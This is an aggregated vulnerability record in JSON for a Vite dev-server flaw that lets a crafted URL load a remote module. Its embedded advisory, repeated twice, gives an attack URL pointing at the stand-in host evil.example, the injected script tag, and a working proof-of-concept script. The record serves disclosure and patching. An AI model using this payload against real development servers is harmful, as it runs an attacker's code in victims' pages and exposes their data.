{"id":"CVE-2026-112945","aliases":["CLSA-2026-1793091335","CLSA-2026-1793099369","CLSA-2026-1793099859","CLSA-2026-1793099874","CLSA-2026-1793099905","CLSA-2026-1793099942","CLSA-2026-1793099987","CLSA-2026-1793100006","CLSA-2026-1793100032","CLSA-2026-1793100051","CLSA-2026-1793100627","CLSA-2026-1793100737","CLSA-2026-1793115223","CLSA-2026-1793973624","CLSA-2026-1793973716","CLSA-2026-1794050549","CLSA-2026-1794406408","CLSA-2026-1794412224","EUVD-2026-105125","GHSA-9jrq-w75r-8gcw","UBUNTU-CVE-2026-112945"],"status":"published","title":"Vite: Cross origin script execution through Vite custom middleware","description":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.","severity":{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00672,"percentile":0.5251,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-80"],"published":"2026-10-20T15:00:58Z","modified":"2026-11-11T19:30:05Z","fixes":[{"ecosystem":"npm","package":"vite","fixed_in":["8.3.3","8.2.4","8.1.6","7.3.7","6.4.4"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"vite-plus","fixed_in":["1.1.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"vite","fixed_in":["8.0.16-tuxcare.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.3.0"},{"last_affected":"8.3.2"},{"fixed":"8.3.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.2.0"},{"last_affected":"8.2.3"},{"fixed":"8.2.4"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0"},{"last_affected":"8.1.5"},{"fixed":"8.1.6"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0"},{"last_affected":"7.3.6"},{"fixed":"7.3.7"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.4.3"},{"fixed":"6.4.4"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vite-plus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.0"},{"fixed":"1.1.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.4.2-tuxcare.0"},{"fixed":"6.4.2-tuxcare.6"}]}],"versions":["6.4.2","6.4.2-tuxcare.1","6.4.2-tuxcare.2","6.4.2-tuxcare.3","6.4.2-tuxcare.4","6.4.2-tuxcare.5"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.4.10-tuxcare.0"},{"fixed":"5.4.10-tuxcare.5"}]}],"versions":["5.4.10","5.4.10-tuxcare.1","5.4.10-tuxcare.2","5.4.10-tuxcare.3","5.4.10-tuxcare.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.10-tuxcare.0"},{"fixed":"8.0.10-tuxcare.2"}]}],"versions":["8.0.10","8.0.10-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.12-tuxcare.0"},{"fixed":"8.0.12-tuxcare.2"}]}],"versions":["8.0.12","8.0.12-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.3.3-tuxcare.0"},{"fixed":"7.3.3-tuxcare.3"}]}],"versions":["7.3.3","7.3.3-tuxcare.1","7.3.3-tuxcare.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.14-tuxcare.0"},{"fixed":"4.5.14-tuxcare.6"}]}],"versions":["4.5.14","4.5.14-tuxcare.1","4.5.14-tuxcare.2","4.5.14-tuxcare.3","4.5.14-tuxcare.4","4.5.14-tuxcare.5"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.11-tuxcare.0"},{"fixed":"3.2.11-tuxcare.8"}]}],"versions":["3.2.11","3.2.11-tuxcare.1","3.2.11-tuxcare.2","3.2.11-tuxcare.3","3.2.11-tuxcare.4","3.2.11-tuxcare.5","3.2.11-tuxcare.6","3.2.11-tuxcare.7"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.12-tuxcare.0"},{"fixed":"5.0.12-tuxcare.8"}]}],"versions":["5.0.12","5.0.12-tuxcare.1","5.0.12-tuxcare.2","5.0.12-tuxcare.3","5.0.12-tuxcare.4","5.0.12-tuxcare.5","5.0.12-tuxcare.6","5.0.12-tuxcare.7"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.9-tuxcare.0"},{"fixed":"8.0.9-tuxcare.2"}]}],"versions":["8.0.9","8.0.9-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.3.2-tuxcare.0"},{"fixed":"7.3.2-tuxcare.2"}]}],"versions":["7.3.2","7.3.2-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.9.18-tuxcare.0"},{"fixed":"2.9.18-tuxcare.5"}]}],"versions":["2.9.18","2.9.18-tuxcare.1","2.9.18-tuxcare.2","2.9.18-tuxcare.3","2.9.18-tuxcare.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.4.3-tuxcare.0"},{"fixed":"6.4.3-tuxcare.2"}]}],"versions":["6.4.3","6.4.3-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.5-tuxcare.0"},{"fixed":"4.1.5-tuxcare.4"}]}],"versions":["4.1.5","4.1.5-tuxcare.1","4.1.5-tuxcare.2","4.1.5-tuxcare.3"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.0-tuxcare.0"},{"fixed":"4.5.0-tuxcare.7"}]}],"versions":["4.5.0","4.5.0-tuxcare.1","4.5.0-tuxcare.2","4.5.0-tuxcare.3","4.5.0-tuxcare.4","4.5.0-tuxcare.5","4.5.0-tuxcare.6"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.5.5-tuxcare.0"},{"fixed":"4.5.5-tuxcare.11"}]}],"versions":["4.5.5","4.5.5-tuxcare.1","4.5.5-tuxcare.10","4.5.5-tuxcare.2","4.5.5-tuxcare.3","4.5.5-tuxcare.4","4.5.5-tuxcare.5","4.5.5-tuxcare.6","4.5.5-tuxcare.7","4.5.5-tuxcare.8","4.5.5-tuxcare.9"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.16-tuxcare.0"},{"fixed":"8.0.16-tuxcare.1"}]}],"versions":["8.0.16"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite-plus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.7-tuxcare.0"},{"fixed":"0.2.7-tuxcare.1"}]}],"versions":["0.2.7"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"vite-plus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.3-tuxcare.0"},{"fixed":"0.3.3-tuxcare.1"}]}],"versions":["0.3.3"],"bundled":6},{"source":"osv","ecosystem":"npm","package":"vite","ranges":[{"type":"SEMVER","events":[{"introduced":"8.3.0"},{"fixed":"8.3.3"}]}]},{"source":"osv","ecosystem":"npm","package":"vite","ranges":[{"type":"SEMVER","events":[{"introduced":"8.2.0"},{"fixed":"8.2.4"}]}]},{"source":"osv","ecosystem":"npm","package":"vite","ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.1.6"}]}]},{"source":"osv","ecosystem":"npm","package":"vite","ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.3.7"}]}]},{"source":"osv","ecosystem":"npm","package":"vite","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.4.4"}]}]},{"source":"osv","ecosystem":"npm","package":"vite-plus","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2+svn1430-2","1.2+svn1430-3","1.2+svn1430-4","1.2+svn1430-5"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2+svn1430-5","1.2+svn1430-6"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2+svn1430-6","1.2+svn1430-6build1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2+svn+git4.c6c0ce7-3","1.2+svn+git4.c6c0ce7-4"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2+svn+git4.c6c0ce7-8","1.2+svn+git4.c6c0ce7-8build1","1.2+svn+git4.c6c0ce7-8build2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.4-6","1.4-6build1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"vite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.4-1","1.4-5","1.4-5build1","1.4-6"]}],"products":[{"vendor":"vitejs","product":"vite"},{"vendor":"vitejs","product":"vite-plus"},{"vendor":"voidzero-dev","product":"vite-plus"}],"references":[{"url":"https://github.com/vitejs/vite/security/advisories/GHSA-9jrq-w75r-8gcw","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/vitejs/vite/pull/23653","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/vitejs/vite/commit/7dafd8e56f152403a3230608fa4005273c2e9e17","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112945","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9jrq-w75r-8gcw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112945.json","tags":["advisory"]},{"url":"https://github.com/vitejs/vite","tags":["package","report"]},{"url":"https://ubuntu.com/security/CVE-2026-112945","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-112945","tags":["report"]},{"url":"https://github.com/cveproject/cvelistv5/tree/main/cves/2026/112xxx/cve-2026-112945.json","tags":["report"]},{"url":"https://github.com/vitejs/vite/security/advisories/ghsa-9jrq-w75r-8gcw","tags":["report"]},{"url":"https://nvd.nist.gov/vuln/detail/cve-2026-112945","tags":["report"]},{"url":"https://advisory.echohq.com/cve/cve-2026-112945","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-112945","title":"Vite: Cross origin script execution through Vite custom middleware","description":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.","status":"published","published":"2026-10-20T15:00:58.17Z","modified":"2026-10-28T14:11:03.638Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"low","assessor":"cna"}],"cwes":["CWE-80"],"updated_at":"2026-11-02T13:44:40.64332Z"}],"euvd":[{"id":"EUVD-2026-105125","description":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.","status":"published","published":"2026-10-20T15:00:58Z","modified":"2026-10-28T14:11:03Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"low"}],"updated_at":"2026-11-02T16:59:20.750321Z"}],"ghsa":[{"id":"GHSA-9jrq-w75r-8gcw","title":"Vite: Cross origin script execution through Vite custom middleware","description":"### Summary\n\nWhen accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this.\n- the transformed HTML contains an inline module script\n- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions\n\n### Details\n\n[Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:\n\n```js\nconst url = req.originalUrl\ntemplate = await vite.transformIndexHtml(url, template)\n```\n\nFor a development server at `http://localhost:5173`, an attacker can send this URL:\n\n```text\nhttp://localhost:5173//evil.example/payload.js?/../../package.json\n```\n\nIn Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.\n\nChromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.\n\n[The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`:\n\n```html\n\u003cscript type=\"module\" src=\"//evil.example/payload.js?/../../package.json?html-proxy\u0026index=0.js\"\u003e\u003c/script\u003e\n```\n\nThe generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.\n\n### PoC\n\n```js\nimport { createServer as createHttpServer } from 'node:http'\nimport { createRequire } from 'node:module'\nimport { dirname, join } from 'node:path'\nimport { fileURLToPath, pathToFileURL } from 'node:url'\n\nconst directory = dirname(fileURLToPath(import.meta.url))\nconst require = createRequire(join(directory, 'package.json'))\nconst { chromium } = require('playwright-chromium')\nconst viteModule = await import(\n  pathToFileURL(require.resolve('vite')).href\n)\nconst createViteServer =\n  viteModule.createServer ?? viteModule.default.createServer\n\n// This loopback server stands in for a separately hosted attacker website.\nconst attackerPort = 4173\nconst exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`\nconst html = '\u003cscript type=\"module\"\u003edocument.body.textContent = \"Vite app\"\u003c/script\u003e'\n\nconst listen = (server, port = 0) =\u003e\n  new Promise((resolve, reject) =\u003e {\n    server.once('error', reject)\n    server.listen(port, '127.0.0.1', () =\u003e {\n      server.off('error', reject)\n      resolve(server.address().port)\n    })\n  })\n\nconst close = (server) =\u003e\n  new Promise((resolve, reject) =\u003e {\n    server.close((error) =\u003e (error ? reject(error) : resolve()))\n  })\n\nlet attackerRequest = null\nconst attacker = createHttpServer((request, response) =\u003e {\n  attackerRequest = request.url\n  response.writeHead(200, {\n    'access-control-allow-origin': '*',\n    'content-type': 'text/javascript',\n  })\n  response.end(\n    \"document.documentElement.dataset.viteXssPoc = 'executed'\",\n  )\n})\n\nconst vite = await createViteServer({\n  appType: 'custom',\n  configFile: false,\n  root: directory,\n  server: {\n    hmr: false,\n    middlewareMode: true,\n    watch: null,\n  },\n})\n\nconst application = createHttpServer((request, response) =\u003e {\n  vite.middlewares(request, response, async (error) =\u003e {\n    if (error) {\n      response.destroy(error)\n      return\n    }\n\n    try {\n      const transformed = await vite.transformIndexHtml(request.url, html)\n      response.writeHead(200, { 'content-type': 'text/html' })\n      response.end(transformed)\n    } catch (transformError) {\n      response.destroy(transformError)\n    }\n  })\n})\n\nawait listen(attacker, attackerPort)\nconst applicationPort = await listen(application)\nconst browser = await chromium.launch({ headless: true })\n\ntry {\n  const page = await browser.newPage()\n  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)\n  await page.waitForFunction(\n    () =\u003e document.documentElement.dataset.viteXssPoc === 'executed',\n  )\n\n  console.log(`attacker request: ${attackerRequest}`)\n  console.log('JavaScript from the attacker server executed in the Vite page')\n} finally {\n  await browser.close()\n  await close(application)\n  await vite.close()\n  await close(attacker)\n}\n```\n\nObserved output on Vite 8.2.1:\n```text\nattacker request: /payload.js?/../../package.json?html-proxy\u0026index=0.js\nJavaScript from the attacker server executed in the Vite page\n```","status":"published","published":"2026-10-21T16:48:14Z","modified":"2026-10-21T16:48:15Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-80"],"updated_at":"2026-11-02T14:41:33.669646Z"}],"nvd":[{"id":"CVE-2026-112945","description":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.","status":"published","published":"2026-10-20T16:17:05.043Z","modified":"2026-10-28T15:17:03.2Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"}],"cwes":["CWE-80"],"updated_at":"2026-11-02T14:13:01.161484Z"}],"osv":[{"id":"CVE-2026-112945","title":"Vite: Cross origin script execution through Vite custom middleware","description":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.","status":"published","published":"2026-10-20T15:00:58.17Z","modified":"2026-11-04T10:46:25.600559868Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-80"],"updated_at":"2026-11-04T11:07:13.540858Z"},{"id":"GHSA-9jrq-w75r-8gcw","title":"Vite: Cross origin script execution through Vite custom middleware","description":"### Summary\n\nWhen accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this.\n- the transformed HTML contains an inline module script\n- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions\n\n### Details\n\n[Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:\n\n```js\nconst url = req.originalUrl\ntemplate = await vite.transformIndexHtml(url, template)\n```\n\nFor a development server at `http://localhost:5173`, an attacker can send this URL:\n\n```text\nhttp://localhost:5173//evil.example/payload.js?/../../package.json\n```\n\nIn Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL as both the transform `path` and the input to `path.join`. The value passed to `path.join` still includes its query text.\n\nChromium preserves `/../../package.json` because it follows `?` and is therefore query text. Vite treats the same characters as filesystem path components, so the `..` components resolve the derived filename to the existing project `package.json`.\n\n[The existing file branch in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L216-L232) checks that filename with `fs.existsSync`, then preserves the `htmlPath` supplied by the attacker as `proxyModuleUrl`. [The inline module rewrite in the same file](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L271-L278) writes that value into the generated `src`:\n\n```html\n\u003cscript type=\"module\" src=\"//evil.example/payload.js?/../../package.json?html-proxy\u0026index=0.js\"\u003e\u003c/script\u003e\n```\n\nThe generated value is a valid URL. Its leading `//` tells the browser to request the module from `evil.example` using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.\n\n### PoC\n\n```js\nimport { createServer as createHttpServer } from 'node:http'\nimport { createRequire } from 'node:module'\nimport { dirname, join } from 'node:path'\nimport { fileURLToPath, pathToFileURL } from 'node:url'\n\nconst directory = dirname(fileURLToPath(import.meta.url))\nconst require = createRequire(join(directory, 'package.json'))\nconst { chromium } = require('playwright-chromium')\nconst viteModule = await import(\n  pathToFileURL(require.resolve('vite')).href\n)\nconst createViteServer =\n  viteModule.createServer ?? viteModule.default.createServer\n\n// This loopback server stands in for a separately hosted attacker website.\nconst attackerPort = 4173\nconst exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`\nconst html = '\u003cscript type=\"module\"\u003edocument.body.textContent = \"Vite app\"\u003c/script\u003e'\n\nconst listen = (server, port = 0) =\u003e\n  new Promise((resolve, reject) =\u003e {\n    server.once('error', reject)\n    server.listen(port, '127.0.0.1', () =\u003e {\n      server.off('error', reject)\n      resolve(server.address().port)\n    })\n  })\n\nconst close = (server) =\u003e\n  new Promise((resolve, reject) =\u003e {\n    server.close((error) =\u003e (error ? reject(error) : resolve()))\n  })\n\nlet attackerRequest = null\nconst attacker = createHttpServer((request, response) =\u003e {\n  attackerRequest = request.url\n  response.writeHead(200, {\n    'access-control-allow-origin': '*',\n    'content-type': 'text/javascript',\n  })\n  response.end(\n    \"document.documentElement.dataset.viteXssPoc = 'executed'\",\n  )\n})\n\nconst vite = await createViteServer({\n  appType: 'custom',\n  configFile: false,\n  root: directory,\n  server: {\n    hmr: false,\n    middlewareMode: true,\n    watch: null,\n  },\n})\n\nconst application = createHttpServer((request, response) =\u003e {\n  vite.middlewares(request, response, async (error) =\u003e {\n    if (error) {\n      response.destroy(error)\n      return\n    }\n\n    try {\n      const transformed = await vite.transformIndexHtml(request.url, html)\n      response.writeHead(200, { 'content-type': 'text/html' })\n      response.end(transformed)\n    } catch (transformError) {\n      response.destroy(transformError)\n    }\n  })\n})\n\nawait listen(attacker, attackerPort)\nconst applicationPort = await listen(application)\nconst browser = await chromium.launch({ headless: true })\n\ntry {\n  const page = await browser.newPage()\n  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)\n  await page.waitForFunction(\n    () =\u003e document.documentElement.dataset.viteXssPoc === 'executed',\n  )\n\n  console.log(`attacker request: ${attackerRequest}`)\n  console.log('JavaScript from the attacker server executed in the Vite page')\n} finally {\n  await browser.close()\n  await close(application)\n  await vite.close()\n  await close(attacker)\n}\n```\n\nObserved output on Vite 8.2.1:\n```text\nattacker request: /payload.js?/../../package.json?html-proxy\u0026index=0.js\nJavaScript from the attacker server executed in the Vite page\n```","status":"published","published":"2026-10-21T16:48:14Z","modified":"2026-10-21T17:00:26.569382874Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-80"],"updated_at":"2026-11-02T15:46:43.875515Z"},{"id":"UBUNTU-CVE-2026-112945","description":"Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.","status":"published","published":"2026-10-20T16:17:00Z","modified":"2026-10-28T17:50:36Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"low"},{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"low"}],"updated_at":"2026-11-02T16:55:59.591851Z"},{"id":"CLSA-2026-1793091335","title":"TuxCare security update for vite (3 CVEs)","description":"TuxCare rebuilt vite to address 3 CVEs. Fixed in 6.4.2-tuxcare.6.","status":"published","published":"2026-10-27T08:55:35Z","modified":"2026-10-27T13:30:04.656457573Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793099369","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 5.4.10-tuxcare.5.","status":"published","published":"2026-10-27T11:09:29Z","modified":"2026-10-27T13:30:07.371155526Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793099859","title":"TuxCare security update for vite (2 CVEs)","description":"TuxCare rebuilt vite to address 2 CVEs. Fixed in 